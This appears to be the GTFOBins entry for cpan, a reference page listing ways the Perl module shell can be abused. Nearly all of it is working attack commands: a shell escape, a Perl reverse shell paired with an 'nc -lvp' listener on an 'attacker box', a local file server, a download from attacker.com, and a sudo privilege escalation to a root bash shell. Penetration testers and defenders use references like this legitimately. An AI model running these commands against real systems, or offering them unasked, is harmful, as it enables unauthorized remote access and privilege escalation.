GTFOBins.github.io/_gtfobins/cpan.md
2018-11-12 15:48:31 +01:00

1.2 KiB

functions
shell reverse-shell file-upload file-download sudo
description code
`cpan` lets you execute perl commands with the `! command`. cpan ! exec '/bin/bash'
description code
Run `nc -lvp RPORT` on the attacker box to receive the shell. export RHOST=localhost export RPORT=9000 cpan ! use Socket; my $i="$ENV{RHOST}"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};
description code
Serve files in the local folder running an HTTP server on port 8080. Install the dependency via `cpan HTTP::Server::Simple`. cpan ! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();
description code
Fetch a remote file via an HTTP GET request and store it in `PWD`. export URL=http://attacker.com/file_to_get cpan ! use File::Fetch; my $file = (File::Fetch->new(uri => "$ENV{URL}"))->fetch();
code
sudo cpan ! exec '/bin/bash'